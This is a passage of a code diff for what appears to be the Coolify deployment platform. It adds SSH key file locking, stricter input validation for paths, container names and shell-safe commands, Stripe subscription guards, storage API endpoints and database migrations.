$allStorages = S3Storage::where('team_id', $this->storage->team_id)
->orderBy('name')
->get(['id', 'name', 'is_usable']);
return view('livewire.storage.resources', [
'groupedBackups' => $backups,
'allStorages' => $allStorages,
]);
}
}

View file

@ -3,6 +3,7 @@
namespace App\Livewire\Storage;
use App\Models\S3Storage;
use App\Models\ScheduledDatabaseBackup;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@ -12,6 +13,10 @@ class Show extends Component
public $storage = null;
public string $currentRoute = '';
public int $backupCount = 0;
public function mount()
{
$this->storage = S3Storage::ownedByCurrentTeam()->whereUuid(request()->storage_uuid)->first();
@ -19,6 +24,21 @@ public function mount()
abort(404);
}
$this->authorize('view', $this->storage);
$this->currentRoute = request()->route()->getName();
$this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count();
}
public function delete()
{
try {
$this->authorize('delete', $this->storage);
$this->storage->delete();
return redirect()->route('storage.index');
} catch (\Throwable $e) {
return handleError($e, $this);
}
}
public function render()

View file

@ -7,6 +7,7 @@
use App\Actions\Stripe\ResumeSubscription;
use App\Actions\Stripe\UpdateSubscriptionQuantity;
use App\Models\Team;
use Carbon\Carbon;
use Illuminate\Support\Facades\Hash;
use Livewire\Component;
use Stripe\StripeClient;
@ -31,10 +32,15 @@ class Actions extends Component
public bool $refundAlreadyUsed = false;
public string $billingInterval = 'monthly';
public ?string $nextBillingDate = null;
public function mount(): void
{
$this->server_limits = Team::serverLimit();
$this->quantity = (int) $this->server_limits;
$this->billingInterval = currentTeam()->subscription?->billingInterval() ?? 'monthly';
}
public function loadPricePreview(int $quantity): void
@ -198,6 +204,10 @@ private function checkRefundEligibility(): void
$result = (new RefundSubscription)->checkEligibility(currentTeam());
$this->isRefundEligible = $result['eligible'];
$this->refundDaysRemaining = $result['days_remaining'];
if ($result['current_period_end']) {
$this->nextBillingDate = Carbon::createFromTimestamp($result['current_period_end'])->format('M j, Y');
}
} catch (\Exception $e) {
\Log::warning('Refund eligibility check failed: '.$e->getMessage());
}

View file

@ -11,6 +11,12 @@ class PricingPlans extends Component
{
public function subscribeStripe($type)
{
if (currentTeam()->subscription?->stripe_invoice_paid) {
$this->dispatch('error', 'Team already has an active subscription.');
return;
}
Stripe::setApiKey(config('subscription.stripe_api_key'));
$priceId = match ($type) {

View file

@ -14,6 +14,7 @@ class LocalFileVolume extends BaseModel
// 'mount_path' => 'encrypted',
'content' => 'encrypted',
'is_directory' => 'boolean',
'is_preview_suffix_enabled' => 'boolean',
];
use HasFactory;

View file

@ -3,13 +3,16 @@
namespace App\Models;
use Illuminate\Database\Eloquent\Casts\Attribute;
use Illuminate\Database\Eloquent\Model;
use Symfony\Component\Yaml\Yaml;
class LocalPersistentVolume extends Model
class LocalPersistentVolume extends BaseModel
{
protected $guarded = [];
protected $casts = [
'is_preview_suffix_enabled' => 'boolean',
];
public function resource()
{
return $this->morphTo('resource');

View file

@ -5,6 +5,7 @@
use App\Traits\HasSafeStringAttribute;
use DanHarrin\LivewireRateLimiting\WithRateLimiting;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
use Illuminate\Validation\ValidationException;
use OpenApi\Attributes as OA;
@ -65,6 +66,20 @@ protected static function booted()
}
});
static::saved(function ($key) {
if ($key->wasChanged('private_key')) {
try {
$key->storeInFileSystem();
refresh_server_connection($key);
} catch (\Exception $e) {
Log::error('Failed to resync SSH key after update', [
'key_uuid' => $key->uuid,
'error' => $e->getMessage(),
]);
}
}
});
static::deleted(function ($key) {
self::deleteFromStorage($key);
});
@ -185,29 +200,54 @@ public function storeInFileSystem()
{
$filename = "ssh_key@{$this->uuid}";
$disk = Storage::disk('ssh-keys');
$keyLocation = $this->getKeyLocation();
$lockFile = $keyLocation.'.lock';
// Ensure the storage directory exists and is writable
$this->ensureStorageDirectoryExists();
// Attempt to store the private key
$success = $disk->put($filename, $this->private_key);
if (! $success) {
throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$this->getKeyLocation()}");
// Use file locking to prevent concurrent writes from corrupting the key
$lockHandle = fopen($lockFile, 'c');
if ($lockHandle === false) {
throw new \Exception("Failed to open lock file for SSH key: {$lockFile}");
}
// Verify the file was actually created and has content
if (! $disk->exists($filename)) {
throw new \Exception("SSH key file was not created: {$this->getKeyLocation()}");
}
try {
if (! flock($lockHandle, LOCK_EX)) {
throw new \Exception("Failed to acquire lock for SSH key: {$keyLocation}");
}
$storedContent = $disk->get($filename);
if (empty($storedContent) || $storedContent !== $this->private_key) {
$disk->delete($filename); // Clean up the bad file
throw new \Exception("SSH key file content verification failed: {$this->getKeyLocation()}");
}
// Attempt to store the private key
$success = $disk->put($filename, $this->private_key);
return $this->getKeyLocation();
if (! $success) {
throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$keyLocation}");
}
// Verify the file was actually created and has content
if (! $disk->exists($filename)) {
throw new \Exception("SSH key file was not created: {$keyLocation}");
}
$storedContent = $disk->get($filename);
if (empty($storedContent) || $storedContent !== $this->private_key) {
$disk->delete($filename); // Clean up the bad file
throw new \Exception("SSH key file content verification failed: {$keyLocation}");
}
// Ensure correct permissions for SSH (0600 required)
if (file_exists($keyLocation) && ! chmod($keyLocation, 0600)) {
Log::warning('Failed to set SSH key file permissions to 0600', [
'key_uuid' => $this->uuid,
'path' => $keyLocation,
]);
}
return $keyLocation;
} finally {
flock($lockHandle, LOCK_UN);
fclose($lockHandle);
}
}
public static function deleteFromStorage(self $privateKey)
@ -254,12 +294,6 @@ public function updatePrivateKey(array $data)
return DB::transaction(function () use ($data) {
$this->update($data);
try {
$this->storeInFileSystem();
} catch (\Exception $e) {
throw new \Exception('Failed to update SSH key: '.$e->getMessage());
}
return $this;
});
}

View file

@ -40,6 +40,13 @@ protected static function boot(): void
$storage->secret = trim($storage->secret);
}
});
static::deleting(function (S3Storage $storage) {
ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([
'save_s3' => false,
's3_storage_id' => null,
]);
});
}
public static function ownedByCurrentTeam(array $select = ['*'])
@ -59,6 +66,11 @@ public function team()
return $this->belongsTo(Team::class);
}
public function scheduledBackups()
{
return $this->hasMany(ScheduledDatabaseBackup::class, 's3_storage_id');
}
public function awsUrl()
{
return "{$this->endpoint}/{$this->bucket}";

View file

@ -135,7 +135,7 @@ protected static function booted()
$server->forceFill($payload);
});
static::saved(function ($server) {
if ($server->privateKey?->isDirty()) {
if ($server->wasChanged('private_key_id') || $server->privateKey?->isDirty()) {
refresh_server_connection($server->privateKey);
}
});

View file

@ -89,10 +89,13 @@ protected static function booted()
});
}
public static function serverLimitReached()
public static function serverLimitReached(?Team $team = null)
{
$serverLimit = Team::serverLimit();
$team = currentTeam();
$team = $team ?? currentTeam();
if (! $team) {
return true;
}
$serverLimit = Team::serverLimit($team);
$servers = $team->servers->count();
return $servers >= $serverLimit;
@ -109,19 +112,23 @@ public function subscriptionPastOverDue()
public function serverOverflow()
{
if ($this->serverLimit() < $this->servers->count()) {
if (Team::serverLimit($this) < $this->servers->count()) {
return true;
}
return false;
}
public static function serverLimit()
public static function serverLimit(?Team $team = null)
{
if (currentTeam()->id === 0 && isDev()) {
$team = $team ?? currentTeam();
if (! $team) {
return 0;
}
if ($team->id === 0 && isDev()) {
return 9999999;
}
$team = Team::find(currentTeam()->id);
$team = Team::find($team->id);
if (! $team) {
return 0;
}
@ -197,6 +204,10 @@ public function isAnyNotificationEnabled()
public function subscriptionEnded()
{
if (! $this->subscription) {
return;
}
$this->subscription->update([
'stripe_subscription_id' => null,
'stripe_cancel_at_period_end' => false,

View file

@ -62,12 +62,15 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
// Ignore errors when facades are not available (e.g., in unit tests)
}
$fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
$fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
return;
}
}
// Normalize to lowercase for validation (RFC 1123 hostnames are case-insensitive)
$hostname = strtolower($hostname);
// Additional validation: hostname should not start or end with a dot
if (str_starts_with($hostname, '.') || str_ends_with($hostname, '.')) {
$fail('The :attribute cannot start or end with a dot.');
@ -100,9 +103,9 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
return;
}
// Check if label contains only valid characters (lowercase letters, digits, hyphens)
// Check if label contains only valid characters (letters, digits, hyphens)
if (! preg_match('/^[a-z0-9-]+$/', $label)) {
$fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
$fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
return;
}

View file

@ -54,13 +54,6 @@ public function aggregateFromStrings(Collection $containerStatuses, int $maxRest
$maxRestartCount = 0;
}
if ($maxRestartCount > 1000) {
Log::warning('High maxRestartCount detected', [
'maxRestartCount' => $maxRestartCount,
'containers' => $containerStatuses->count(),
]);
}
if ($containerStatuses->isEmpty()) {
return 'exited';
}
@ -138,13 +131,6 @@ public function aggregateFromContainers(Collection $containers, int $maxRestartC
$maxRestartCount = 0;
}
if ($maxRestartCount > 1000) {
Log::warning('High maxRestartCount detected', [
'maxRestartCount' => $maxRestartCount,
'containers' => $containers->count(),
]);
}
if ($containers->isEmpty()) {
return 'exited';
}

View file

@ -9,8 +9,8 @@ class ValidationPatterns
{
/**
* Pattern for names excluding all dangerous characters
*/
public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u';
*/
public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+$/u';
/**
* Pattern for descriptions excluding all dangerous characters with some additional allowed characters
@ -23,6 +23,32 @@ class ValidationPatterns
*/
public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/';
/**
* Pattern for directory paths (base_directory, publish_directory, etc.)
* Like FILE_PATH_PATTERN but also allows bare "/" (root directory)
*/
public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/';
/**
* Pattern for Docker build target names (multi-stage build stage names)
* Allows alphanumeric, dots, hyphens, and underscores
*/
public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
/**
* Pattern for shell-safe command strings (docker compose commands, docker run options)
* Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns
* Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks
* Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators)
*/
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/';
/**
* Pattern for Docker container names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
*/
public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
/**
* Get validation rules for name fields
*/
@ -70,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength =
public static function nameMessages(): array
{
return [
'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &",
'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ & ( ) # , : +',
'name.min' => 'The name must be at least :min characters.',
'name.max' => 'The name may not be greater than :max characters.',
];
@ -105,6 +131,38 @@ public static function filePathMessages(string $field = 'dockerfileLocation', st
];
}
/**
* Get validation rules for directory path fields (base_directory, publish_directory)
*/
public static function directoryPathRules(int $maxLength = 255): array
{
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN];
}
/**
* Get validation rules for Docker build target fields
*/
public static function dockerTargetRules(int $maxLength = 128): array
{
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN];
}
/**
* Get validation rules for shell-safe command fields
*/
public static function shellSafeCommandRules(int $maxLength = 1000): array
{
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
}
/**
* Get validation rules for container name fields
*/
public static function containerNameRules(int $maxLength = 255): array
{
return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN];
}
/**
* Get combined validation messages for both name and description fields
*/

View file

@ -3,6 +3,7 @@
namespace App\Traits;
use App\Enums\ApplicationDeploymentStatus;
use App\Exceptions\DeploymentException;
use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
use Carbon\Carbon;
@ -103,7 +104,7 @@ public function execute_remote_command(...$commands)
try {
$this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors);
$commandExecuted = true;
} catch (\RuntimeException $e) {
} catch (\RuntimeException|DeploymentException $e) {
$lastError = $e;
$errorMessage = $e->getMessage();
// Only retry if it's an SSH connection error and we haven't exhausted retries
@ -233,7 +234,7 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe
$error = $process_result->output() ?: 'Command failed with no error output';
}
$redactedCommand = $this->redact_sensitive_info($command);
throw new \RuntimeException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}");
throw new DeploymentException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}");
}
}
}

View file

@ -101,8 +101,8 @@ function sharedDataApplications()
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/',
'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable',
'custom_network_aliases' => 'string|nullable',
'base_directory' => 'string|nullable',
'publish_directory' => 'string|nullable',
'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(),
'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(),
'health_check_enabled' => 'boolean',
'health_check_type' => 'string|in:http,cmd',
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
@ -125,21 +125,24 @@ function sharedDataApplications()
'limits_cpuset' => 'string|nullable',
'limits_cpu_shares' => 'numeric',
'custom_labels' => 'string|nullable',
'custom_docker_run_options' => 'string|nullable',
'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000),
// Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate").
// Access is gated by API token authentication. Commands run inside the app container, not the host.
'post_deployment_command' => 'string|nullable',
'post_deployment_command_container' => 'string',
'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(),
'pre_deployment_command' => 'string|nullable',
'pre_deployment_command_container' => 'string',
'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(),
'manual_webhook_secret_github' => 'string|nullable',
'manual_webhook_secret_gitlab' => 'string|nullable',
'manual_webhook_secret_bitbucket' => 'string|nullable',
'manual_webhook_secret_gitea' => 'string|nullable',
'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN],
'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN],
'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(),
'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(),
'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(),
'docker_compose' => 'string|nullable',
'docker_compose_domains' => 'array|nullable',
'docker_compose_custom_start_command' => 'string|nullable',
'docker_compose_custom_build_command' => 'string|nullable',
'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
'is_container_label_escape_enabled' => 'boolean',
];
}

View file

@ -137,6 +137,11 @@ function checkMinimumDockerEngineVersion($dockerVersion)
return $dockerVersion;
}
function escapeShellValue(string $value): string
{
return "'".str_replace("'", "'\\''", $value)."'";
}
function executeInDocker(string $containerId, string $command)
{
$escapedCommand = str_replace("'", "'\\''", $command);

View file

@ -789,7 +789,10 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
$mainDirectory = str(base_configuration_dir().'/applications/'.$uuid);
}
$source = replaceLocalSource($source, $mainDirectory);
if ($isPullRequest) {
$isPreviewSuffixEnabled = $foundConfig
? (bool) data_get($foundConfig, 'is_preview_suffix_enabled', true)
: true;
if ($isPullRequest && $isPreviewSuffixEnabled) {
$source = addPreviewDeploymentSuffix($source, $pull_request_id);
}
LocalFileVolume::updateOrCreate(
@ -1315,19 +1318,19 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
}
if (! $isDatabase && $fqdns instanceof Collection && $fqdns->count() > 0) {
$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;
$uuid = $resource->uuid;
$network = data_get($resource, 'destination.network');
$labelUuid = $resource->uuid;
$labelNetwork = data_get($resource, 'destination.network');
if ($isPullRequest) {
$uuid = "{$resource->uuid}-{$pullRequestId}";
$labelUuid = "{$resource->uuid}-{$pullRequestId}";
}
if ($isPullRequest) {
$network = "{$resource->destination->network}-{$pullRequestId}";
$labelNetwork = "{$resource->destination->network}-{$pullRequestId}";
}
if ($shouldGenerateLabelsExactly) {
switch ($server->proxyType()) {
case ProxyTypes::TRAEFIK->value:
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
uuid: $uuid,
uuid: $labelUuid,
domains: $fqdns,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,
@ -1339,8 +1342,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
break;
case ProxyTypes::CADDY->value:
$serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy(
network: $network,
uuid: $uuid,
network: $labelNetwork,
uuid: $labelUuid,
domains: $fqdns,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,
@ -1354,7 +1357,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
}
} else {
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
uuid: $uuid,
uuid: $labelUuid,
domains: $fqdns,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,
@ -1364,8 +1367,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
image: $image
));
$serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy(
network: $network,
uuid: $uuid,
network: $labelNetwork,
uuid: $labelUuid,
domains: $fqdns,
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
serviceLabels: $serviceLabels,

View file

@ -339,7 +339,18 @@ function generate_application_name(string $git_repository, string $git_branch, ?
$cuid = new Cuid2;
}
return Str::kebab("$git_repository:$git_branch-$cuid");
$repo_name = str_contains($git_repository, '/') ? last(explode('/', $git_repository)) : $git_repository;
$name = Str::kebab("$repo_name:$git_branch-$cuid");
// Strip characters not allowed by NAME_PATTERN
$name = preg_replace('/[^\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+/u', '', $name);
if (empty($name) || mb_strlen($name) < 3) {
return generate_random_name($cuid);
}
return $name;
}
/**
@ -466,6 +477,36 @@ function validate_cron_expression($expression_to_validate): bool
return $isValid;
}
/**
* Determine if a cron schedule should run now, with deduplication.
*
* Uses getPreviousRunDate() + last-dispatch tracking to be resilient to queue delays.
* Even if the job runs minutes late, it still catches the missed cron window.
* Without a dedupKey, falls back to a simple isDue() check.
*/
function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?\Illuminate\Support\Carbon $executionTime = null): bool
{
$cron = new \Cron\CronExpression($frequency);
$executionTime = ($executionTime ?? \Illuminate\Support\Carbon::now())->copy()->setTimezone($timezone);
if ($dedupKey === null) {
return $cron->isDue($executionTime);
}
$previousDue = \Illuminate\Support\Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true));
$lastDispatched = Cache::get($dedupKey);
$shouldFire = $lastDispatched === null
? $cron->isDue($executionTime)
: $previousDue->gt(\Illuminate\Support\Carbon::parse($lastDispatched));
// Always write: seeds on first miss, refreshes on dispatch.
// 30-day static TTL covers all intervals; orphan keys self-clean.
Cache::put($dedupKey, ($shouldFire ? $executionTime : $previousDue)->toIso8601String(), 2592000);
return $shouldFire;
}
function validate_timezone(string $timezone): bool
{
return in_array($timezone, timezone_identifiers_list());

View file

@ -18,6 +18,7 @@
"laravel/fortify": "^1.34.0",
"laravel/framework": "^12.49.0",
"laravel/horizon": "^5.43.0",
"laravel/nightwatch": "^1.24",
"laravel/pail": "^1.2.4",
"laravel/prompts": "^0.3.11|^0.3.11|^0.3.11",
"laravel/sanctum": "^4.3.0",

98
composer.lock generated
View file

@ -4,7 +4,7 @@
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
"This file is @generated automatically"
],
"content-hash": "19bb661d294e5cf623e68830604e4f60",
"content-hash": "40bddea995c1744e4aec517263109a2f",
"packages": [
{
"name": "aws/aws-crt-php",
@ -2065,6 +2065,100 @@
},
"time": "2026-02-21T14:20:09+00:00"
},
{
"name": "laravel/nightwatch",
"version": "v1.24.4",
"source": {
"type": "git",
"url": "https://github.com/laravel/nightwatch.git",
"reference": "127e9bb9928f0fcf69b52b244053b393c90347c8"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/laravel/nightwatch/zipball/127e9bb9928f0fcf69b52b244053b393c90347c8",
"reference": "127e9bb9928f0fcf69b52b244053b393c90347c8",
"shasum": ""
},
"require": {
"ext-zlib": "*",
"guzzlehttp/promises": "^2.0",
"laravel/framework": "^10.0|^11.0|^12.0|^13.0",
"monolog/monolog": "^3.6",
"nesbot/carbon": "^2.0|^3.0",
"php": "^8.2",
"psr/http-message": "^1.0|^2.0",
"psr/log": "^1.0|^2.0|^3.0",
"ramsey/uuid": "^4.0",
"symfony/console": "^6.0|^7.0|^8.0",
"symfony/http-foundation": "^6.0|^7.0|^8.0",
"symfony/polyfill-php84": "^1.29"
},
"require-dev": {
"aws/aws-sdk-php": "^3.349",
"ext-pcntl": "*",
"ext-pdo": "*",
"guzzlehttp/guzzle": "^7.0",
"guzzlehttp/psr7": "^2.0",
"laravel/horizon": "^5.4",
"laravel/pint": "1.21.0",
"laravel/vapor-core": "^2.38.2",
"livewire/livewire": "^2.0|^3.0",
"mockery/mockery": "^1.0",
"mongodb/laravel-mongodb": "^4.0|^5.0",
"orchestra/testbench": "^8.0|^9.0|^10.0",
"orchestra/testbench-core": "^8.0|^9.0|^10.0",
"orchestra/workbench": "^8.0|^9.0|^10.0",
"phpstan/phpstan": "^1.0",
"phpunit/phpunit": "^10.0|^11.0|^12.0",
"singlestoredb/singlestoredb-laravel": "^1.0|^2.0",
"spatie/laravel-ignition": "^2.0",
"symfony/mailer": "^6.0|^7.0|^8.0",
"symfony/mime": "^6.0|^7.0|^8.0",
"symfony/var-dumper": "^6.0|^7.0|^8.0"
},
"type": "library",
"extra": {
"laravel": {
"aliases": {
"Nightwatch": "Laravel\\Nightwatch\\Facades\\Nightwatch"
},
"providers": [
"Laravel\\Nightwatch\\NightwatchServiceProvider"
]
}
},
"autoload": {
"files": [
"agent/helpers.php"
],
"psr-4": {
"Laravel\\Nightwatch\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Taylor Otwell",
"email": "taylor@laravel.com"
}
],
"description": "The official Laravel Nightwatch package.",
"homepage": "https://nightwatch.laravel.com",
"keywords": [
"Insights",
"laravel",
"monitoring"
],
"support": {
"docs": "https://nightwatch.laravel.com/docs",
"issues": "https://github.com/laravel/nightwatch/issues",
"source": "https://github.com/laravel/nightwatch"
},
"time": "2026-03-18T23:25:05+00:00"
},
{
"name": "laravel/pail",
"version": "v1.2.6",
@ -17209,5 +17303,5 @@
"php": "^8.4"
},
"platform-dev": {},
"plugin-api-version": "2.9.0"
"plugin-api-version": "2.6.0"
}

View file

@ -55,6 +55,10 @@
'is_scheduler_enabled' => env('SCHEDULER_ENABLED', true),
],
'nightwatch' => [
'is_nightwatch_enabled' => env('NIGHTWATCH_ENABLED', false),
],
'docker' => [
'minimum_required_version' => '24.0',
],

View file

@ -123,7 +123,7 @@
'driver' => 'daily',
'path' => storage_path('logs/scheduled.log'),
'level' => 'debug',
'days' => 1,
'days' => 7,
],
'scheduled-errors' => [

View file

@ -0,0 +1,30 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('local_file_volumes', function (Blueprint $table) {
$table->boolean('is_preview_suffix_enabled')->default(true)->after('is_based_on_git');
});
Schema::table('local_persistent_volumes', function (Blueprint $table) {
$table->boolean('is_preview_suffix_enabled')->default(true)->after('host_path');
});
}
public function down(): void
{
Schema::table('local_file_volumes', function (Blueprint $table) {
$table->dropColumn('is_preview_suffix_enabled');
});
Schema::table('local_persistent_volumes', function (Blueprint $table) {
$table->dropColumn('is_preview_suffix_enabled');
});
}
};

View file

@ -0,0 +1,39 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use Visus\Cuid2\Cuid2;
return new class extends Migration
{
public function up(): void
{
Schema::table('local_persistent_volumes', function (Blueprint $table) {
$table->string('uuid')->nullable()->after('id');
});
DB::table('local_persistent_volumes')
->whereNull('uuid')
->orderBy('id')
->chunk(1000, function ($volumes) {
foreach ($volumes as $volume) {
DB::table('local_persistent_volumes')
->where('id', $volume->id)
->update(['uuid' => (string) new Cuid2]);
}
});
Schema::table('local_persistent_volumes', function (Blueprint $table) {
$table->string('uuid')->nullable(false)->unique()->change();
});
}
public function down(): void
{
Schema::table('local_persistent_volumes', function (Blueprint $table) {
$table->dropColumn('uuid');
});
}
};

View file

@ -0,0 +1,12 @@
#!/command/execlineb -P
# Use with-contenv to ensure environment variables are available
with-contenv
cd /var/www/html
foreground {
php
artisan
start:nightwatch
}

View file

@ -0,0 +1 @@
longrun

View file

@ -0,0 +1,11 @@
#!/command/execlineb -P
# Use with-contenv to ensure environment variables are available
with-contenv
cd /var/www/html
foreground {
php
artisan
start:nightwatch
}

View file

@ -0,0 +1 @@
longrun

View file

@ -1,6 +1,13 @@
{
"scripts": {
"setup": "cp $JEAN_ROOT_PATH/.env . && mkdir -p .claude && cp $JEAN_ROOT_PATH/.claude/settings.local.json .claude/settings.local.json",
"teardown": null,
"run": "docker rm -f coolify coolify-minio-init coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down"
}
}
},
"ports": [
{
"port": 8000,
"label": "Coolify UI"
}
]
}

File diff suppressed because it is too large Load diff

View file

@ -2170,6 +2170,219 @@ paths:
security:
-
bearerAuth: []
'/applications/{uuid}/storages':
get:
tags:
- Applications
summary: 'List Storages'
description: 'List all persistent storages and file storages by application UUID.'
operationId: list-storages-by-application-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the application.'
required: true
schema:
type: string
responses:
'200':
description: 'All storages by application UUID.'
content:
application/json:
schema:
properties:
persistent_storages: { type: array, items: { type: object } }
file_storages: { type: array, items: { type: object } }
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
security:
-
bearerAuth: []
post:
tags:
- Applications
summary: 'Create Storage'
description: 'Create a persistent storage or file storage for an application.'
operationId: create-storage-by-application-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the application.'
required: true
schema:
type: string
requestBody:
required: true
content:
application/json:
schema:
required:
- type
- mount_path
properties:
type:
type: string
enum: [persistent, file]
description: 'The type of storage.'
name:
type: string
description: 'Volume name (persistent only, required for persistent).'
mount_path:
type: string
description: 'The container mount path.'
host_path:
type: string
nullable: true
description: 'The host path (persistent only, optional).'
content:
type: string
nullable: true
description: 'File content (file only, optional).'
is_directory:
type: boolean
description: 'Whether this is a directory mount (file only, default false).'
fs_path:
type: string
description: 'Host directory path (required when is_directory is true).'
type: object
additionalProperties: false
responses:
'201':
description: 'Storage created.'
content:
application/json:
schema:
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
patch:
tags:
- Applications
summary: 'Update Storage'
description: 'Update a persistent storage or file storage by application UUID.'
operationId: update-storage-by-application-uuid
parameters:
-
name: uuid
in: path
description: 'UUID of the application.'
required: true
schema:
type: string
requestBody:
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
required: true
content:
application/json:
schema:
required:
- type
properties:
uuid:
type: string
description: 'The UUID of the storage (preferred).'
id:
type: integer
description: 'The ID of the storage (deprecated, use uuid instead).'
type:
type: string
enum: [persistent, file]
description: 'The type of storage: persistent or file.'
is_preview_suffix_enabled:
type: boolean
description: 'Whether to add -pr-N suffix for preview deployments.'
name:
type: string
description: 'The volume name (persistent only, not allowed for read-only storages).'
mount_path:
type: string
description: 'The container mount path (not allowed for read-only storages).'
host_path:
type: string
nullable: true
description: 'The host path (persistent only, not allowed for read-only storages).'
content:
type: string
nullable: true
description: 'The file content (file only, not allowed for read-only storages).'
type: object
additionalProperties: false
responses:
'200':
description: 'Storage updated.'
content:
application/json:
schema:
type: object
'401':
$ref: '#/components/responses/401'
'400':
$ref: '#/components/responses/400'
'404':
$ref: '#/components/responses/404'
'422':
$ref: '#/components/responses/422'
security:
-
bearerAuth: []
'/applications/{uuid}/storages/{storage_uuid}':
delete:
tags:
- Applications
summary: 'Delete Storage'
